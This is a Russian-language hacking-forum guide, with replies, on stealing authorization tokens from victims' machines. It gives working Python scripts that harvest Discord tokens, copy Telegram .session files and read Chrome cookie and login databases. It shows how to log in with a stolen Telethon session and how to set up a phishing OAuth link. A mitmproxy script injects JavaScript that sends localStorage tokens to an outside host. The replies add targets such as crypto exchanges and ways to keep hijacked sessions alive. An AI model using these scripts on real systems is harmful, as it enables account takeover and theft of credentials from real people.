[Гайд] Token Hijacking: как крадут токены авторизации с клиентских машин

Mur404

Bit
Пользователь
Регистрация
3 Апр 2025
Сообщения
14
Реакции
8

Введение​

Token Hijacking — это способ получить доступ к чужому аккаунту, минуя логин, пароль и даже 2FA. Всё, что тебе нужно — это рабочий access token, session ID или .session-файл. Токен — это пропуск в систему, и пока он живой, ты действуешь от имени жертвы.

В этом гайде покажу, как можно:
  • Вытянуть Discord токен с машины
  • Украсть Telegram .session файл
  • Вытащить куки из браузера
  • Обойти OAuth через фишинг
  • Сделать всё руками, без сборщиков




1. Кража Discord токена​


Где лежит:
Discord хранит токены в leveldb в локальном хранилище браузера/клиента.
Код:
%AppData%\Discord\Local Storage\leveldb\

Пример скрипта:
Python:
import os, re

path = os.getenv('APPDATA') + '\\Discord\\Local Storage\\leveldb\\'
regex = re.compile(r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}')

for fname in os.listdir(path):
    if not fname.endswith('.ldb') and not fname.endswith('.log'):
        continue
    with open(path + fname, 'r', errors='ignore') as f:
        for line in f:
            for match in regex.findall(line):
                print('Token found:', match)

Проверка токена:
Отправь GET-запрос на:
Bash:
https://discord.com/api/v9/users/@me
Authorization: <токен>




2. Кража Telegram .session файла​


Если жертва использует Telethon / Pyrogram — достаточно украсть .session, и ты получаешь доступ ко всему: чатам, каналам, ботам.

Поиск:
Код:
*.session
*.session-journal

Скрипт:
Python:
import os
import shutil

output_dir = "output"

if not os.path.exists(output_dir):
    os.mkdir(output_dir)

for root, dirs, files in os.walk(os.environ.get("USERPROFILE", "")):
    for file in files:
        if file.endswith(".session") or file.endswith(".session-journal"):
            full_path = os.path.join(root, file)
            try:
                shutil.copy2(full_path, output_dir)
                print("[+] Found:", full_path)
            except Exception:
                pass

Авторизация:
Python:
from telethon.sync import TelegramClient

client = TelegramClient('stolen.session', api_id, api_hash)
client.connect()

if client.is_user_authorized():
    print("Access granted")




3. Браузерные куки и токены​


Пути для Chrome:
Код:
%LocalAppData%\Google\Chrome\User Data\Default\Cookies
%LocalAppData%\Google\Chrome\User Data\Default\Login Data

Пример чтения:
Python:
import sqlite3
import os

path = os.getenv('LOCALAPPDATA') + r"\Google\Chrome\User Data\Default\Cookies"
conn = sqlite3.connect(path)
cursor = conn.cursor()

cursor.execute("SELECT host_key, name, encrypted_value FROM cookies")
for host, name, val in cursor.fetchall():
    print(f"{host} | {name} | {val}")

Для расшифровки encrypted_value на Windows используешь CryptUnprotectData.




4. OAuth-фишинг​


Работает на Google, Discord, Facebook.

Пример фейкового OAuth-запроса:
Код:
https://discord.com/oauth2/authorize?
client_id=FAKE_ID&
redirect_uri=https://yourdomain.com/hook&
response_type=code&
scope=identify

После авторизации:
  1. Получаешь code в redirect_uri
  2. Обмениваешь его на access_token
  3. Используешь как API-ключ от аккаунта




5. MITM и прокси-инжекция​


Если юзер сидит без VPN или поставил твой “VPN-клиент”, можно инжектить JS, логгировать заголовки, перехватывать токены.

Инструменты:
  • mitmproxy
  • bettercap
  • BurpSuite

Пример JS-инжекции через mitmproxy:
Python:
def response(flow):
    if flow.response.headers.get("content-type", "").startswith("text/html"):
        flow.response.text = flow.response.text.replace(
            "</body>",
            "<script>fetch('https://your.tld/log?token='+localStorage.token)</script></body>"
        )




Защита​

  • Никогда не храни токены в localStorage → используй HttpOnly куки
  • Используй SameSite=Strict, Secure, HttpOnly
  • Регулярно инвалидируй токены
  • Изолируй окружения: отдельные браузеры / VM для risky behavior




Вывод​


Token Hijacking — это рабочая тема. Неважно, насколько “защищён” сервис, если ты взял токен — ты уже внутри. Работает на Discord, Telegram, Steam, Facebook, Google, кастомных админках, любых API.
 
В Cookies ещё полезно смотреть по сервисам типа Binance, Kucoin и т.п. Иногда даже JWT к API лежат без шифра.
 
Вопрос: кто-то пробовал грузить сессии в Telethon с другого IP/региона? Слышал, что иногда Telegram дропает сессию по гео-рассинхрону.
 
Вопрос: кто-то пробовал грузить сессии в Telethon с другого IP/региона? Слышал, что иногда Telegram дропает сессию по гео-рассинхрону.
Если IP слишком отличается от оригинального (например, юзали с РФ, а ты лезешь с США), телега может запросить повторную авторизацию или просто дропнуть сессию.
 
Сверху